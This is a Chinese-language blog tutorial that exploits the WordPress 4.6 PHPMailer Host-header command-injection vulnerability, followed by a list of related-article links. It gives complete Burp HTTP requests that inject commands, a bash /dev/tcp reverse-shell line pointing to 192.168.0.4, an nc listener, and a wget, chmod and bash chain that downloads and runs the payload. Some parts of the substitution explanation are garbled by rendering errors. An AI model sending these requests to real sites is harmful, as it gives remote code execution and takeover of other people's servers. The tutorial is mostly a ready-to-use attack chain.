文章目录

  • 前言
  • 一、构造burp数据包内容
    • 1.构造原理
    • 2.最终构造数据包如下
  • 二、使用步骤
    • 1.本漏洞实际利用存在的限制
    • 2.反弹shell
    • 3.开启监听
  • 三、通过burp获取权限
    • 1.发送下载shell数据包
    • 2.发送修改文件权限数据包
    • 3.发送执行文件数据包
    • 此时,监听终端检测到反弹的shell
  • 总结

前言

wordpress:
WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。也可以把 WordPress当作一个内容管理系统(CMS)来使用。

WordPress有许多第三方开发的免费模板,安装方式简单易用。不过要做一个自己的模板,需要你有一定的专业知识。

WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress还拥有成千上万个各式插件和不计其数的主题模板样式。


提示:以下是本篇文章正文内容,仅供参考

一、构造burp数据包内容

1.构造原理

在host参数中,target为之前设置好的host和port,target后为payload

payload内容:

(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)

注意以下几点URL 中不要有 http://
字母必须要小写
所有 / 用 KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{0}{1}{spool_directory}} 代替
所有 空格 用 KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log}} 代替

转换后即为:

Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}
{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}
{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}}
null)
#为了显示方便这里添加了回车

touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。
此处通过touchu \tmp\success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.

2.最终构造数据包如下

填写target参数
数据包内容如下:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test

test为之前设置的用户名(目标网站曾设置的用户名)

二、使用步骤

1.本漏洞实际利用存在的限制

执行的命令不能包含大部分特殊字符,如:“引号、/斜杠等。
命令会被转换成小写字母
命令需要使用绝对路径
需要知道某一个存在的用户的用户名
为了解决这些问题,漏洞作者想出了,利用KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{0}{1}{spool_directory}}代替/,用KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log}}代替空格的方法。
这些方法我们在上面漏洞验证章节已经使用过了
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。

2.反弹shell

shell

当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
    linux反弹shell的实现

3.开启监听

打开一个终端,输入命令

nc -lvp 1234

建立一个新的1.txt文件
写入:bash -i >& /dev/tcp/192.168.0.4/1234 0>&1

在1.txt文件所在文件夹打开终端,输入命令

python3 -m http.server 80

三、通过burp获取权限

1.发送下载shell数据包

poc转换前为(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.0.4/1.txt}} null)
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议 下载,并可以使用 HTTP 代理。
构造后数据包如下:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.0.4${substr{0}{1}{$spool_directory}}1.txt}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test

2.发送修改文件权限数据包

数据包构造内容如下:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}chmod${substr{10}{1}{$tod_log}}777${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test

3.发送执行文件数据包

POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test

此时,监听终端检测到反弹的shell

总结

漏洞文件是class.phpmailer.php,我们在wordpress中搜索查看这个文件,该文件在在wp-includes目录下。我们可以发现几行关键代码:phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。

Wordpress 4.6 任意命令执行漏洞相关推荐

  1. 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...

  2. wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...

  3. python直接执行代码漏洞_修复Python任意命令执行漏洞

    Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...

  4. couchdb 任意命令执行漏洞(cve-2017-12636)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

  5. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  6. eyoucms 1.5.5任意命令执行漏洞(0day)

    eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...

  7. TamronOS IPTV系统 ping 任意命令执行漏洞

    TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...

  8. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

  9. php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现

    0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...

最新文章

  1. springboot 得到端口_带你入门SpringBoot
  2. SAP中smartforms参数
  3. 实验7-3-4 字符串替换 (15分)
  4. char怎么比较_为什么阿里巴巴Java开发手册中强制要求整型包装类对象值用 equals 方法比较?...
  5. 9203 演练 jsp实现增删改查
  6. 哥大首位华裔女校长:人工智能的春天来了
  7. poj 1426 BFS
  8. 二级缓存使用步骤_Mybatis的一级缓存和二级缓存的理解以及用法
  9. SAP License:什么是ERP、SAP?
  10. 一看数分就想写个程序玩玩。。。
  11. 如何制作Win10启动U盘启动盘iso镜像文件
  12. 并查集:A bug's life
  13. 小srf的游戏(单调队列+dp)
  14. MySQL的事务和存储引擎
  15. 雷电模拟器如何备份游戏登陆状态,并还原登陆状态 免扫码。
  16. arcgis按要求删除点位
  17. 微信商业化:抢企业级短信钱
  18. 消消乐php源码,手游泡泡消消乐设计(内附代码)
  19. matlab三维可视化,MATLAB中三维数据可视化及应用
  20. 前端技术周刊 2018-10-08:WebGL

热门文章

  1. 海洋表面洋流数据可视化
  2. Java中泛型的使用
  3. 【中学】判断三角形的形状
  4. 万字总结,体系化带你全面认识 Kube-Proxy IPVS 模式的工作原理
  5. 报警:Component 'MSCOMCTLOCX' or one of its dependencies .....及解决方法
  6. python往npy写入数据_操作python实现npy格式文件转换为txt文件
  7. 使用概率法计算圆周率
  8. 三八节买什么数码好物?三八女神节实用不吃灰的数码好物推荐
  9. 2021年二季度重大舆情热点盘点分析
  10. doevents raiseevent withevents